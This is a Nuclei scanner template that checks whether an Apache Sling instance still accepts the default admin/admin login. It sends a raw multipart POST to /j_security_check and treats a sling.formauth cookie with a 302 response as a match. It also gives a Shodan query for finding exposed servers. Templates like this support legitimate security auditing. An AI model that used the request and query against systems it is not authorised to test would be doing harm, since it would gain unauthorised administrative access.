id: apache-sling-default-login

info:
  name: Apache Sling - Default Login
  author: icarot
  severity: high
  description: |
    Apache Sling default login was discovered.
  reference:
    - https://github.com/apache/sling
  metadata:
    max-request: 1
    vendor: apache
    product: sling
    shodan-query: title:"Apache Sling"
  tags: apache,sling,default-login

variables:
  username: admin
  password: admin

http:
  - raw:
      - |
        POST /j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBCQeiTztQvBDyNxA

        ------WebKitFormBoundaryBCQeiTztQvBDyNxA
        Content-Disposition: form-data; name="_charset_"

        UTF-8
        ------WebKitFormBoundaryBCQeiTztQvBDyNxA
        Content-Disposition: form-data; name="resource"

        /
        ------WebKitFormBoundaryBCQeiTztQvBDyNxA
        Content-Disposition: form-data; name="j_username"

        {{username}}
        ------WebKitFormBoundaryBCQeiTztQvBDyNxA
        Content-Disposition: form-data; name="j_password"

        {{password}}
        ------WebKitFormBoundaryBCQeiTztQvBDyNxA--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: sling.formauth"

      - type: status
        status:
          - 302
# digest: 4a0a00473045022062cdb45050a54357d0ff473097d7aa210e7df79086c4e0a93d28ab1ebc50edc7022100a08ed74e1a188f413a4b6dc9cb626a0045dac2cf07601136b239200d7aaeac51:922c64590222798bb761d5b6d8e72950